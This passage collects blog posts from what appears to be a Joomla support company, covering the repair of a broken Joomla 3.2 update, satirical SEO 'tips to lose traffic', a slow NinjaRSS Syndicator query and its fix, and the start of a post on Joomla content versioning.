  • We extracted the file remember.php which is located under the plugins/system folder and we uploaded it to the corresponding place on the Joomla website.

  • We checked the website and we had the exact same problem on the file joomla.php which is located under the plugins/user/joomla folder.

  • Again, we extracted the file joomla.php which is located under the plugins/user/joomla folder and we uploaded it to the corresponding place on the Joomla website.

  • We checked the website and at that time, it displayed a MySQL query which was not working. In other words, the database was officially corrupt and needed to be fixed.

  • We thought hey, maybe we can fix the database (Joomla has this wonderful “Fix Database” tool), so we logged in to Joomla’s backend, and we clicked on Extensions -> Extensions Manager -> Database, and to our horror, we saw another MySQL query error, claiming that the table #__content_types did not exist. The Fix button which should’ve been on the upper left corner was nowhere to be found. So, we had to address that missing table issue before moving forward.

  • So, we checked the file joomla.sql which is located under the installation/sql/mysql folder in Joomla’s 3.2 install file, and we were able to figure out the structure of the #__content_types in order to re-create it. So, we logged in to phpMyAdmin (from cPanel) and we ran the queries starting from line 392 (CREATE TABLE IF NOT EXISTS `#__content_types`…) until line 426 (in the joomla.php file). This re-created the #__content_types table and filled it with the right data.

  • After doing the above, we were able to see the Fix button, and so we clicked it, and that fixed the database. The website worked normally after that.

Now, the big question is, why did we have to all the above? Our client just had a very basic Joomla 3.1.5 website with no 3rd part extensions whatsoever and he just wanted to update to the latest Joomla version. There was nothing wrong with what he did, but there was definitely something wrong with Joomla. The sad part is that this whole thing cost him money he shouldn’t have paid in the first place, and the loss of potential clients for a few hours. Not good!

While we have warned against Joomla 3.x a year ago, we thought that maybe, just maybe, Joomla 3.x got better after a full year. Obviously, it didn’t, in fact, it got worse and it got more dangerous. We should probably wait for a few more months to see where Joomla 3.x will be before recommending it (or not) to our clients.

Meanwhile, do not hit that Update Now button in your Joomla’s backend unless you have your website and your database both backed up. But, if you already clicked that button and caused your Joomla website to stop working (and you don’t have a backup), then fear not, we’re here to help. Just contact us and we’ll restore your website back to working condition in no time and for a very affordable fee.

20 Tips to Lose Traffic on Your Joomla Website

Yes – we know – the title of this post is a bit weird. 20 tips to lose traffic? Well, we figured, if we explain what happens when things are done the wrong way then we’ll create a sense of awareness that’ll help many Joomla administrators to do things the right way, which is a step towards making Joomla websites even better!

Below you can find a list of actions and inactions that you can take to decrease traffic on your Joomla website:

  • Tip #1: Do not update your Joomla website: Updating your Joomla website typically addresses performance and security issues. If you don’t update it then your website will most likely get hacked, eventually making you lose your spot in Google’s rankings. Isn’t that great?

  • Tip #2: Ensure your website is slow, very slow: A slow website is ideal for those who don’t want Google to visit them often. Think about Google as a customer in a restaurant, the longer that customer has to wait, the more likely he’ll go somewhere else, and that’s what Google does: the slower your website is, the less visits you get from Google, which means the less Google knows about your website, which means the less your search engine rankings will be.

  • Tip #3: Have a lot of scheduled maintenances: Ah, those scheduled maintenances. They are all about temporarily serving a blank page to Google. Google might think that a blank page (or error page) is just a glitch the first time it sees it, but if those blank pages are more of a norm rather than the exception, then Google will start diverting your traffic to a competitor, because simply, Google will think (and rightly so) that your website doesn’t provide any value to the visitors.

  • Tip #4: Not paying attention to the competition: Your competing websites are growing by the day and are working very hard to beat you. They are using all the tools and the techniques they can get their hands on to steal your keywords. Pretending that they don’t exist and doing nothing about them is a great way to lose traffic to them.

  • Tip #5: Leave your website hacked: If your website gets hacked, then leave it as it is. It might just fix itself in a few days, and if it doesn’t, then it might get either penalized by Google or even completely wiped out from the index. This means zero traffic from Google. Isn’t that exactly what you want?

  • Tip #6: Don’t care about having a logical site structure: Let’s see. You have a new menu item to add, and that menu item is a new product. But why add it under the Products menu item (where it should be), just add it anywhere and search engines will sort that thing out for you (and for your customers), and if they don’t, then the merrier, because you will lose traffic since a confusing/meaningless site structure is the best search engine deterrent.

  • Tip #7: Just delete the robots.txt file: The robots.txt is an extremely important file for search engines. It tells them which areas of your website to index and which areas to ignore. Deleting this file is like telling them to index everything on your website, which will dilute the page rank of the pages that really need to be indexed. Another great way of losing traffic.

  • Tip #8: Create some infinite loops with sh404SEF: sh404SEF can be (mis)used to create infinite loops on your Joomla website. Do that, and we’ll guarantee you that you’ll start losing traffic on your Joomla website the moment you do it. Not only with this method you will lose visitors and traffic, but you will also create a huge load on your server (which will lead to performance issues on your website), thus losing even more traffic. (See Tip #2).

  • Tip #9: Stop creating new content: The traffic catalyst to any website is content, without content, your website won’t get any traffic. Now, if your website already has a decent traffic which is starting to annoy you, then you can just stop writing new content. This will make Google, Yahoo, and the likes to think that your website is abandoned, and as such, they will gradually reduce the traffic sent your way.

  • Tip #10: Don’t have a blog: As a corollary to Tip #9, having a blog will increase your search engine rankings, which means that you shouldn’t have one if you want to lose traffic. If you already have one, then you should think about getting rid of it or even redirecting it to a competitor’s blog.

  • Tip #11: Have a broken .htaccess file: A broken/wrong .htaccess file can:

    • Generate a lot of errors on your Joomla website
    • Cause indexing issues
    • Completely disable your website

    All the above things can reflect very badly on your search engine rankings because search engines generally don’t like visiting websites with errors.

  • Tip #12: Disable SEF: Whoever said that search engines don’t like links such as index.php?option=com_content&id=5&Itemid=10 was right. Search engines think that these links are complicated and that they don’t tell users what they are about by just looking at them. Disabling SEF on your website (and all other 3rd party URL rewriting extensions, such as sh404SEF) ensures that your links will have the exact same format which is disliked by search engines.

  • Tip #13: Have the same meta information for all the pages: Search engines don’t respect websites with no meta information or where all pages have the exact same meta information. So, if you have set meta information for some your pages, then remove it, because search engines will rank you higher if you don’t.

  • Tip #14: Use dofollow for all of the links that are external to your website: Search engines are perfectly OK if you choose to pass some link juice to other external websites, but, keep in mind that any external link on any page on your website will reduce the importance of that page from a search engine perspective. If, for some reason, the importance of that page is not reduced, then it might be that you are using rel=”nofollow” on the anchor tag to block the link juice from being passed to 3rd party websites. Address this immediately by removing all the rel=”nofollow” so that search engines will think that the websites you are linking to are more important than yours. Also, don’t forget to ensure that all the links to social websites are not rel=”nofollow”, since these social websites such as Twitter and the likes need all the link juice that they can get – they are also generous enough to use rel=”nofollow” on their end (social websites don’t pass any link juice to any external website because all their external links are rel=”nofollow”).

  • Tip #15: Leverage your website’s SEO strength to make money: Sell blog posts, sell links, sell text ads, etc… Just sell anything on your website that other people tell you to sell, and you are sure to get either penalized or de-indexed (e.g. blocked) by Google in no time. The even better news is that you’ll get paid a few dollars (or a few hundred dollars, depending on your website) for the ads that will get you penalized.

  • Tip #16: Don’t even look at Google’s webmaster tools: Google’s webmaster tools provides a lot of insight on what is wrong on your website such as:

    • 404 errors you have on your website and where they are
    • Duplicate titles and duplicate meta descriptions
    • Server issues you have on your website
    • DNS issues

    Ignoring Google’s webmaster tools altogether ensures that you don’t know about any issue that you have on your website (that Google knows about), which means that you don’t have to fix it. This is a silver bullet for losing traffic.

  • Tip #17: Install a gazillion 3rd party JavaScript embed codes: Most, if not all, JavaScript embed codes (especially the free ones) are really there to spy on your website and steal your keywords, while giving you in return very limited functionality. The information they get from your website is usually passed along to your competitors, who will most likely use it to crush you. 3rd party JavaScript embed codes can also slow down your website considerably (this happens a lot). See Tip #2 and Tip #4.

  • Tip #18: Page Titles? What Page Titles?: One of the most important factors used to rank your website is the page title. Since you want low rankings, then ensure that your page titles are completely irrelevant to your content. Failing that, try to add as many keywords to your page titles, including, but not limited to: The name of your website (add it to the beginning of the page title for maximum impact), the high ranking keywords you want to rank for, and the name of your brother’s in law second grade physics teacher. That combination will do miracles to your search rankings.

  • Tip #19: Have a messed up, invalid HTML: Search engines love websites with valid HTML, and since you don’t love search engines, then you should ensure that your HTML is not valid and that the W3C tool will generate at least 100 errors when trying to validate your website.

  • Tip #20: Focus only on search engine traffic and ignore social traffic: A few years ago, a website only needed search engine traffic to survive and to thrive. Nowadays, search engine traffic is not enough, social traffic is increasing by the day, and search engines are taking social traffic and social presence as a positive contributing factor to rank your website. Focusing solely on search engine traffic and being completely oblivious to social traffic will mean that your general traffic will ensure a consistent decline for the foreseeable future.

Since you spent all this time reading our 20 tips to lose traffic, here’s a couple of bonus tips for you:

  • Tip #21: Do not interlink: You are writing a new blog post (which is a big no-no, see Tip #10), and you remember that buried blog post that you wrote a few years ago and that will explain a bit more about the side-topic that you’re discussing. Keep that post buried! Do not link to it, linking to it will revive it and may accidentally increase your traffic. Interlinking to other pages on your website should be avoided at all costs if you want to keep that traffic to a minimum.

  • Tip #22: Hire SEO companies that guarantee top results in Google: Google warns against these companies, and that’s why you should use them. They have these wow techniques that will increase your website’s traffic by about 4 folds for a few days, but then Google discovers their tricks techniques, and your website will get penalized or banned for eternity.

We hope you enjoyed this post. It took us nearly 4 hours to write it, edit it, review it, and re-review it, but it was really fun! Now, if you’re committing any of the above tips mistakes, and you need help fixing it, then please contact us. We are experts in Joomla, our work is fast and professional, and we don’t charge much!

NinjaRSS Syndicator Substantially Slows Down Joomla Websites

One of the things that Joomla sites must have (by default), and currently don’t, is RSS syndication. RSS syndication allows your content to be syndicated across the web, which means better exposure, which in turn means more traffic. We have no idea why Joomla doesn’t have this as a built-in functionality, and we’re almost sure that it won’t have this in the foreseeable future, simply because RSS, as a syndication tool, seems to be losing grounds to social networks such as Twitter and Facebook. Even Google doesn’t believe in RSS anymore.

So, in the meanwhile, what do most Joomla websites use as an RSS tool? Well, if there is any mainstream RSS tool for Joomla, it must be NinjaRSS Syndicator. We know, the presence of Ninja in the name doesn’t command respect, but, for some reason, NinjaRSS Syndicator is the most used RSS extension for Joomla, even for very large websites. One would think that that reason (yes, we know there are two thats, but they do make sense!) for that tool to be very common is because of its stability and its performance. If you actually believe this is the case, then let us tell you a little story…

Earlier in the day a customer called us and told us that his company’s Joomla website is crashing – with a lot of those Cannot connect to database MySQL errors. We checked the load on the server and it was extremely high (we’re talking about 70%) and MySQL was generating a load of about 1,200% (yes, that’s 1,200!). We restarted MySQL and Apache and enabled the MySQL Slow Query Log to reveal the bottlenecks on the website. Fifteen minutes later, the website crashed, but this time, we had a conclusive evidence of who the culprit was. It was this query:

SELECT DISTINCT u.id as userid, IFNULL(c.id,a.catid) as catid, a.sectionid as secid, a.id as id, a.*, a.introtext as itext, a.fulltext as mtext, u.name AS author, u.usertype, u.email as authorEmail, a.created_by_alias as authorAlias, a.created AS dsdate, a.modified as updated, c.title as catName, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(":", a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(":", c.id, c.alias) ELSE c.id END as catslug
FROM #__content AS a
LEFT JOIN #__users AS u ON u.id = a.created_by
LEFT JOIN `#__categories` AS c on c.id = a.catid
WHERE a.state='1'
AND a.id IN (SELECT content_id FROM #__content_frontpage)
AND (a.access = 1 OR a.access = 5)
AND (c.access = 1 OR c.access = 5)
AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2013-11-12 10:17:47')
AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2013-11-12 10:17:47')
ORDER BY a.created DESC LIMIT 20;

The above query was taking 13 seconds to execute, and was examining 59,543 rows (that’s about 60k rows), and MySQL was attempting to execute it every couple of seconds! And, which file contained this query? Well, it was none other than the ninjarsssyndicator.php file, which was located under the components/com_ninjarsssyndicator/models directory. In other words, it was the famed NinjaRSS Syndicator extension that was causing this load on the server.

So, what did we do to fix the problem?

The query was slow because of the usage of the DISTINCT keyword at the beginning of the query, which will have to ensure that every row returned by MySQL is unique. Technically, the returned rows must be unique without even using the DISTINCT keyword. So, removing the word DISTINCT from line 130 in the ninjarsssyndicator.php file (again, which is located under the components/com_ninjarsssyndicator/models directory) fixed the problem.

And what does that mean?

It means that even those extensions that most Joomla administrators trust and use on a daily basis can be flawed with performance issues (and/or security issues) that can bring down their websites in a matter of minutes. Joomla administrators must be diligent with their choice of extensions and must examine their logs regularly for performance issues.

If you have the same problem on NinjaRSS Syndicator, then we hope you found this post useful. If you didn’t, or if you need help with another non-performing extension, then please contact us. We are extremely knowledgeable about Joomla, our work is professional and fast, and we don’t charge that much!

Finally, Joomla Has Version Control

If we had a dime every time the IT Manager of a company asked us whether Joomla has version control or not, we’d be very, very rich! Like each us would have his own Bugatti Veyron rich. OK, you get the point… But we really do get asked a lot whether this feature exists or not. It is by far the most important feature that large companies want to have in their CMS.

So, what does version control do?

Version control allows the administrator to revert back to a previous version of a content item (typically an article). This means that if something goes wrong with that content item (especially formatting wise), then the administrator will be able to easily revert back to a previous version.

And now Joomla has it?

Yes! Joomla version 3.2 (which was released yesterday [November 6, 2013]) has this feature (Joomla calls it Content Versioning – note that it only applies to Joomla’s own content, and not to other types of content, such as K2 articles). Unfortunately, this feature is not available in Joomla 2.5 (even in its latest version, which is 2.5.15) – our guess is that Joomla 2.5 will never have th